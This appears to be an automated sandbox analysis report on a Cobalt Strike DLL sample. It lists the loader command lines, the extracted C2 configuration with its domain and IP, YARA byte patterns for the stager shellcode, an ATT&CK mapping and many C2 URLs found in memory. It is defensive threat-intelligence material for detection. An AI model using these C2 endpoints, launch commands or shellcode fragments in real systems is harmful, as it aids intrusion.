
ID: 568947
Sample Name: gwui.dll
Cookbook: default.jbs
Time: 00:06:04
Date: 09/02/2022
Version: 34.0.0 Boulder Opal
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Windows Analysis Report 
gwui.dll

Overview

General Information

Sample 
Name:

gwui.dll

Analysis ID: 568947

MD5: ac581207ef8043…

SHA1: 62964395bbc5fb…

SHA256: b6262f4aa06d0b…

Infos:

Detection

CobaltStrike

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

System process connects to networ…

Malicious sample detected (through…

Yara detected CobaltStrike

Sigma detected: Regsvr32 Network …

Sigma detected: Suspicious Call by…

C2 URLs / IPs found in malware con…

Found a high number of Window / U…

Yara signature match

Tries to load missing DLLs

Contains functionality to check if a d…

Contains functionality to query local…

Uses a known web browser user age…

May sleep (evasive loops) to hinder…

Uses code obfuscation techniques (…

Internet Provider seen in connection…

Detected potential crypto function

Registers a DLL

Sample execution stops while proce…

JA3 SSL client fingerprint seen in co…

Contains functionality to dynamicall…

Creates a process in suspended mo…

Uses insecure TLS / SSL version fo…

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

loaddll64.exe (PID: 7128 cmdline: loaddll64.exe "C:\Users\user\Desktop\gwui.dll" MD5: 4E8A40CAD6CCC047914E3A7830A2D8AA)

cmd.exe (PID: 772 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\gwui.dll",#1 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

rundll32.exe (PID: 4684 cmdline: rundll32.exe "C:\Users\user\Desktop\gwui.dll",#1 MD5: 73C519F050C20580F8A62C849D49215A)

regsvr32.exe (PID: 1320 cmdline: regsvr32.exe /s C:\Users\user\Desktop\gwui.dll MD5: D78B75FC68247E8A63ACBA846182740E)

rundll32.exe (PID: 6176 cmdline: rundll32.exe C:\Users\user\Desktop\gwui.dll,DllRegisterServer MD5: 73C519F050C20580F8A62C849D49215A)

cleanup

{

  "C2Server": "http://foxofeli.com:443/image-directory/dhl.jpg",

  "User Agent": "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9\r\n"

}

Source Rule Description Author Strings

00000004.00000002.859489672.0000000000F20000.00000
040.00001000.00020000.00000000.sdmp

Cobaltbaltstrike_R
AW_Payload_https
_stager_x64

Detects 
CobaltStrike 
payloads

Avast Threat Intel 
Team

0x0:$h01: FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 5
2 51 56 48 31 D2 65 48 8B 52

00000004.00000002.859489672.0000000000F20000.00000
040.00001000.00020000.00000000.sdmp

JoeSecurity_Cobal
tStrike_3

Yara detected 
CobaltStrike

Joe Security

Process Tree

Malware Configuration

Threatname: CobaltStrike

Yara Signatures

Memory Dumps
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AV Detection

Networking

System Summary

HIPS / PFW / Operating System Protection Evasion

Remote Access Functionality

00000001.00000002.860401788.00000252DDCE0000.00000
020.00001000.00020000.00000000.sdmp

CobaltStrike_Slee
p_Decoder_Indicat
or

Detects 
CobaltStrike 
sleep_mask 
decoder

yara@s3c.za.net 0xf9dc:$sleep_decoder: 48 89 5C 24 08 48 89 6C 24 10 
48 89 74 24 18 57 48 83 EC 20 4C 8B 51 08 41 8B F0 48
8B EA 48 8B D9 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 8
5 C9
0x2a6d0:$sleep_decoder: 48 89 5C 24 08 48 89 6C 24 1
0 48 89 74 24 18 57 48 83 EC 20 4C 8B 51 08 41 8B F0 
48 8B EA 48 8B D9 45 8B 0A 45 8B 5A 04 4D 8D 52 08 4
5 85 C9

00000001.00000002.859680337.00000252DBC10000.00000
040.00001000.00020000.00000000.sdmp

Cobaltbaltstrike_R
AW_Payload_https
_stager_x64

Detects 
CobaltStrike 
payloads

Avast Threat Intel 
Team

0x0:$h01: FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 5
2 51 56 48 31 D2 65 48 8B 52

00000001.00000002.859680337.00000252DBC10000.00000
040.00001000.00020000.00000000.sdmp

JoeSecurity_Cobal
tStrike_3

Yara detected 
CobaltStrike

Joe Security

Click to see the 39 entries

Source Rule Description Author Strings

System Summary

Initial
Access

Execution Persistence
Privilege
Escalation

Defense
Evasion

Credential
Access

Discovery
Lateral
Movement

Collection Exfiltration
Command
and
Control

Network
Effects

Remote
Service
Effects

Impact

Valid
Accounts

1
Native API

1
DLL Side-
Loading

1 1 1
Process
Injection

1 1
Virtualizatio
n/Sandbox
Evasion

OS
Credential
Dumping

1
System
Time
Discovery

Remote
Services

1
Archive
Collected
Data

Exfiltration
Over Other
Network
Medium

1 1
Encrypted
Channel

Eavesdrop
on Insecure
Network
Communic
ation

Remotely
Track
Device
Without
Authorizati
on

Modify
System
Partition

Sigma Signatures

Sigma detected: Regsvr32 Network Activity

Sigma detected: Suspicious Call by Ordinal

Joe Sandbox Signatures

Found malware configuration

System process connects to network (likely due to code injection or exploit)

C2 URLs / IPs found in malware configuration

Malicious sample detected (through community Yara rule)

System process connects to network (likely due to code injection or exploit)

Yara detected CobaltStrike

Mitre Att&ck Matrix
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Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initializatio
n Scripts

1
DLL Side-
Loading

1 1 1
Process
Injection

LSASS
Memory

1 1
Security
Software
Discovery

Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration
Over
Bluetooth

2
Ingress
Tool
Transfer

Exploit SS7
to Redirect
Phone
Calls/SMS

Remotely
Wipe Data
Without
Authorizati
on

Device
Lockout

Domain
Accounts

At (Linux) Logon
Script
(Windows)

Logon
Script
(Windows)

1
Obfuscated
Files or
Information

Security
Account
Manager

1 1
Virtualizatio
n/Sandbox
Evasion

SMB/Wind
ows Admin
Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

2
Non-
Application
Layer
Protocol

Exploit SS7
to Track
Device
Location

Obtain
Device
Cloud
Backups

Delete
Device
Data

Local
Accounts

At
(Windows)

Logon
Script
(Mac)

Logon
Script
(Mac)

1
Regsvr32

NTDS 1
Application
Window
Discovery

Distributed
Component
Object
Model

Input
Capture

Scheduled
Transfer

1 1 3
Application
Layer
Protocol

SIM Card
Swap

Carrier
Billing
Fraud

Cloud
Accounts

Cron Network
Logon
Script

Network
Logon
Script

1
Rundll32

LSA
Secrets

1
Account
Discovery

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communic
ation

Manipulate
App Store
Rankings
or Ratings

Replication
Through
Removable
Media

Launchd Rc.commo
n

Rc.commo
n

1
DLL Side-
Loading

Cached
Domain
Credentials

1
System
Owner/Use
r Discovery

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communic
ation

Jamming or
Denial of
Service

Abuse
Accessibilit
y Features

External
Remote
Services

Scheduled
Task

Startup
Items

Startup
Items

Compile
After
Delivery

DCSync 1
Remote
System
Discovery

Windows
Remote
Manageme
nt

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-
Fi Access
Points

Data
Encrypted
for Impact

Drive-by
Compromis
e

Command
and
Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Indicator
Removal
from Tools

Proc
Filesystem

1 3
System
Information
Discovery

Shared
Webroot

Credential
API
Hooking

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Application
Layer
Protocol

Downgrade
to Insecure
Protocols

Generate
Fraudulent
Advertising
Revenue

Initial
Access

Execution Persistence
Privilege
Escalation

Defense
Evasion

Credential
Access

Discovery
Lateral
Movement

Collection Exfiltration
Command
and
Control

Network
Effects

Remote
Service
Effects

Impact

Behavior Graph
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Behavior Graph

ID: 568947

Sample: gwui.dll

Startdate: 09/02/2022

Architecture: WINDOWS

Score: 100

Found malware configuration
Malicious sample detected
(through community Yara

rule)
Yara detected CobaltStrike 3 other signatures

loaddll64.exe

7

        started       

foxofeli.com

cmd.exe

1

        started       

rundll32.exe

6

        started       

regsvr32.exe

6

        started       

rundll32.exe

6

        started       

System process connects
to network (likely due
to code injection or

exploit)

foxofeli.com

23.82.140.91, 443, 49760, 49761

LEASEWEB-USA-MIA-11US

United States

foxofeli.com

System process connects
to network (likely due
to code injection or

exploit)

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots

Thumbnails
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⊘ No Antivirus matches

⊘ No Antivirus matches

⊘ No Antivirus matches

⊘ No Antivirus matches

Source Detection Scanner Label Link

https://foxofeli.com/a2tlbWNoY2ZlZGlqaGFnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2pr
bmptYmFsY2l

0% Avira URL Cloud safe

https://foxofeli.com/image-directory/dhl.jpgwdI 0% Avira URL Cloud safe

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs
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https://foxofeli.com/=truederC 0% Avira URL Cloud safe

https://foxofeli.com/image-directory/dhl.jpg3d 0% Avira URL Cloud safe

https://foxofeli.com/image-directory/dhl.jpgs 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true./ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true5Z 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueILMEM8 0% Avira URL Cloud safe

https://foxofeli.com/c-4899f5f57b9a: 0% Avira URL Cloud safe

https://foxofeli.com/c-4899f5f57b9aad 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=truederx/ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=truex/ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true899f5f57b9a 0% Avira URL Cloud safe

https://foxofeli.com/c-4899f5f57b9a( 0% Avira URL Cloud safe

https://foxofeli.com/ofeli.com/template.css?controller=trueder 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueder./ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueo/ 0% Avira URL Cloud safe

https://foxofeli.com/0 0% Avira URL Cloud safe

https://foxofeli.com// 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueder; 0% Avira URL Cloud safe

https://foxofeli.com/- 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=truent: 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=truef/ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueE/ 0% Avira URL Cloud safe

https://foxofeli.com/3 0% Avira URL Cloud safe

https://foxofeli.com/ptography 0% Avira URL Cloud safe

https://foxofeli.com/c-4899f5f57b9a 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueabledX 0% Avira URL Cloud safe

https://foxofeli.com/image-directory/dhl.jpgwn 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=truegraphy 0% Avira URL Cloud safe

https://foxofeli.com/K 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true;S 0% Avira URL Cloud safe

https://foxofeli.com/J 0% Avira URL Cloud safe

https://foxofeli.com/ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true. 0% Avira URL Cloud safe

https://foxofeli.com/O 0% Avira URL Cloud safe

https://foxofeli.com/vide0 0% Avira URL Cloud safe

https://foxofeli.com/M 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true 0% Avira URL Cloud safe

https://foxofeli.com/C 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true$ 0% Avira URL Cloud safe

https://foxofeli.com/F 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true# 0% Avira URL Cloud safe

https://foxofeli.com/Z 0% Avira URL Cloud safe

www.mioft. 0% Avira URL Cloud safe

https://foxofeli.com/_ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueows 0% Avira URL Cloud safe

https://foxofeli.com/S 0% Avira URL Cloud safe

https://foxofeli.com/R 0% Avira URL Cloud safe

https://foxofeli.com/Q 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=truederf/ 0% Avira URL Cloud safe

https://foxofeli.com/W 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=truederE/ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true;/ 0% Avira URL Cloud safe

https://foxofeli.com/e 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=truederJ/ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueder)/ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueY 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueX 0% Avira URL Cloud safe

https://foxofeli.com/~ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true899f5f57b9aR 0% Avira URL Cloud safe

Source Detection Scanner Label Link

Copyright Joe Security LLC 2022 Page 9 of 191



https://foxofeli.com/image-directory/dhl.jpgvMY 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueQ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueS 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueR 0% Avira URL Cloud safe

https://foxofeli.com/ofeli.com/template.css?controller=true 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true899f5f57b9a: 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueo 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=truen 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true2/ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueh 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=truek 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueeople 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueIZ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueder2/ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trued 0% Avira URL Cloud safe

foxofeli.com:443/image-directory/dhl.jpg 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueg 0% Avira URL Cloud safe

https://foxofeli.com/nd-point: 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true899f5f57b9aF 0% Avira URL Cloud safe

https://foxofeli.com/0?; 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true? 0% Avira URL Cloud safe

https://foxofeli.com/=true 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true; 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true99 0% Avira URL Cloud safe

https://foxofeli.com/he 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueJ/ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true3 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true)/ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true(A 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=true899f5f57b9aad 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trues/ 0% Avira URL Cloud safe

https://foxofeli.com/template.css?controller=trueJ 0% Avira URL Cloud safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

foxofeli.com 23.82.140.91 true true unknown

Name Malicious Antivirus Detection Reputation

https://weibo.com/template.css?controller=true false high

foxofeli.com:443/image-directory/dhl.jpg true Avira URL Cloud: safe unknown

https://weibo.com/image-directory/dhl.jpg false high

Name Source Malicious Antivirus Detection Reputation

https://foxofeli.com/a2tlbWNoY2ZlZGlqaGFnZmtqb2dl
aGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmpt
YmFsY2l

rundll32.exe, 00000005.00000003.48044604
1.0000024696C56000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
005.00000003.510623100.0000024696C56000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000005.00000003.489485321.000002
4696C56000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000005.0000
0003.499296180.0000024696C56000.00000004
.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000005.00000003.519844715.0000024696C560
00.00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries
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https://foxofeli.com/image-directory/dhl.jpgwdI rundll32.exe, 00000005.00000002.85969978
7.0000024694C6D000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/=truederC rundll32.exe, 00000006.00000003.73196253
9.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.746682341.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.723215707.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/image-directory/dhl.jpg3d rundll32.exe, 00000005.00000002.85969978
7.0000024694C6D000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/image-directory/dhl.jpgs regsvr32.exe, 00000004.00000002.85958707
3.0000000000FFB000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?controller=true./ regsvr32.exe, 00000004.00000003.40079579
9.00000000010E5000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=true5Z

rundll32.exe, 00000005.00000002.85975432
9.0000024694C95000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trueILMEM8

rundll32.exe, 00000006.00000003.64300097
3.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.678586541.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.667002049.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000006.0000
0003.652942103.0000017B0C190000.00000004
.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000006.00000003.690834815.0000017B0C1900
00.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.699276525.000
0017B0C190000.00000004.00000020.00020000
.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/c-4899f5f57b9a: rundll32.exe, 00000006.00000003.75806106
1.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/c-4899f5f57b9aad rundll32.exe, 00000006.00000003.60306682
4.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.715623899.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.723215707.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000006.0000
0003.584153048.0000017B0C190000.00000004
.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000006.00000003.593073988.0000017B0C1900
00.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.610666166.000
0017B0C190000.00000004.00000020.00020000
.00000000.sdmp, rundll32.exe, 00000006.0
0000003.710499376.0000017B0C190000.00000
004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=truederx/

regsvr32.exe, 00000004.00000003.44957480
4.00000000010E4000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.418616263.00000000010E5000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.449785
481.00000000010E4000.00000004.00000020.0
0020000.00000000.sdmp, regsvr32.exe, 000
00004.00000003.429375890.00000000010E400
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.441369001.0000
0000010E4000.00000004.00000020.00020000.
00000000.sdmp

false Avira URL Cloud: safe unknown
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https://foxofeli.com/template.css?
controller=truex/

regsvr32.exe, 00000004.00000003.82879432
3.00000000010E5000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.839508298.00000000010E5000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.650719
119.00000000010E5000.00000004.00000020.0
0020000.00000000.sdmp, regsvr32.exe, 000
00004.00000003.817054799.00000000010E500
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.764731884.0000
0000010E3000.00000004.00000020.00020000.
00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=true899f5f57b9a

rundll32.exe, 00000006.00000003.81305930
0.0000017B0C191000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.496057753.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.538828333.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000006.0000
0003.823116757.0000017B0C191000.00000004
.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000006.00000003.519270495.0000017B0C1900
00.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.781077954.000
0017B0C190000.00000004.00000020.00020000
.00000000.sdmp, rundll32.exe, 00000006.0
0000003.802966204.0000017B0C191000.00000
004.00000020.00020000.00000000.sdmp, run
dll32.exe, 00000006.00000003.793319388.0
000017B0C191000.00000004.00000020.000200
00.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/c-4899f5f57b9a( rundll32.exe, 00000006.00000003.36320266
0.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.378254000.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.365201018.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000006.0000
0003.386528033.0000017B0C190000.00000004
.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/ofeli.com/template.css?
controller=trueder

regsvr32.exe, 00000004.00000003.44957480
4.00000000010E4000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.462319073.00000000010E4000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.449785
481.00000000010E4000.00000004.00000020.0
0020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trueder./

regsvr32.exe, 00000004.00000003.48895938
4.00000000010E4000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.479029855.00000000010E4000.
00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trueo/

regsvr32.exe, 00000004.00000003.73779325
8.00000000010E3000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/0 regsvr32.exe, 00000004.00000003.73779325
8.00000000010E3000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.715277706.00000000010E3000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.726523
447.00000000010E3000.00000004.00000020.0
0020000.00000000.sdmp, regsvr32.exe, 000
00004.00000003.746988206.00000000010E300
0.00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com// rundll32.exe, 00000006.00000003.49605775
3.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.519270495.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.507997937.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp

false Avira URL Cloud: safe unknown
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https://foxofeli.com/template.css?
controller=trueder;

rundll32.exe, 00000006.00000003.84202292
5.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.853555003.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000002.859805653.000001
7B0C191000.00000004.00000020.00020000.00
000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/- rundll32.exe, 00000006.00000003.71574409
8.0000017B0C138000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000002.859555760.0000017B0C107000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.635507260.000001
7B0C138000.00000004.00000020.00020000.00
000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=truent:

rundll32.exe, 00000006.00000003.37825400
0.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.386528033.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.710499376.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?controller=truef/ regsvr32.exe, 00000004.00000003.63966219
0.00000000010E5000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.391381443.00000000010E3000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.650719
119.00000000010E5000.00000004.00000020.0
0020000.00000000.sdmp, regsvr32.exe, 000
00004.00000003.664001132.00000000010E300
0.00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trueE/

regsvr32.exe, 00000004.00000003.41861626
3.00000000010E5000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.715277706.00000000010E3000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.726523
447.00000000010E3000.00000004.00000020.0
0020000.00000000.sdmp, regsvr32.exe, 000
00004.00000003.706288937.00000000010E300
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.410938088.0000
0000010E5000.00000004.00000020.00020000.
00000000.sdmp, regsvr32.exe, 00000004.00
000003.413069380.00000000010E5000.000000
04.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/3 rundll32.exe, 00000006.00000003.76919665
8.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.496057753.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.781077954.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000006.0000
0003.486865813.0000017B0C190000.00000004
.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown
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https://foxofeli.com/ptography loaddll64.exe, 00000001.00000002.8600145
06.00000252DBD6F000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0004.00000003.756674989.00000000010E3000
.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.839508298.00000
000010E5000.00000004.00000020.00020000.0
0000000.sdmp, regsvr32.exe, 00000004.000
00003.746988206.00000000010E3000.0000000
4.00000020.00020000.00000000.sdmp, regsvr32.exe, 
00000004.00000003.533038579.00000000010E3
000.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.520718160.00
000000010E3000.00000004.00000020.0002000
0.00000000.sdmp, rundll32.exe, 00000006.
00000003.572829602.0000017B0C190000.0000
0004.00000020.00020000.00000000.sdmp, ru
ndll32.exe, 00000006.00000003.603066824.
0000017B0C190000.00000004.00000020.00020
000.00000000.sdmp, rundll32.exe, 0000000
6.00000003.620853877.0000017B0C190000.00
000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.67858654
1.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.450723320.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.667002049.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000006.0000
0003.652942103.0000017B0C190000.00000004
.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000006.00000003.842022925.0000017B0C1900
00.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.584153048.000
0017B0C190000.00000004.00000020.00020000
.00000000.sdmp, rundll32.exe, 00000006.0
0000003.593073988.0000017B0C190000.00000
004.00000020.00020000.00000000.sdmp, run
dll32.exe, 00000006.00000003.519270495.0
000017B0C190000.00000004.00000020.000200
00.00000000.sdmp, rundll32.exe, 00000006
.00000003.631492940.0000017B0C190000.000
00004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/c-4899f5f57b9a rundll32.exe, 00000005.00000002.86003753
1.0000024694D1D000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.560359790.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.527986408.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000006.0000
0003.769196658.0000017B0C190000.00000004
.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000006.00000003.450723320.0000017B0C1900
00.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.496057753.000
0017B0C190000.00000004.00000020.00020000
.00000000.sdmp, rundll32.exe, 00000006.0
0000003.550411838.0000017B0C190000.00000
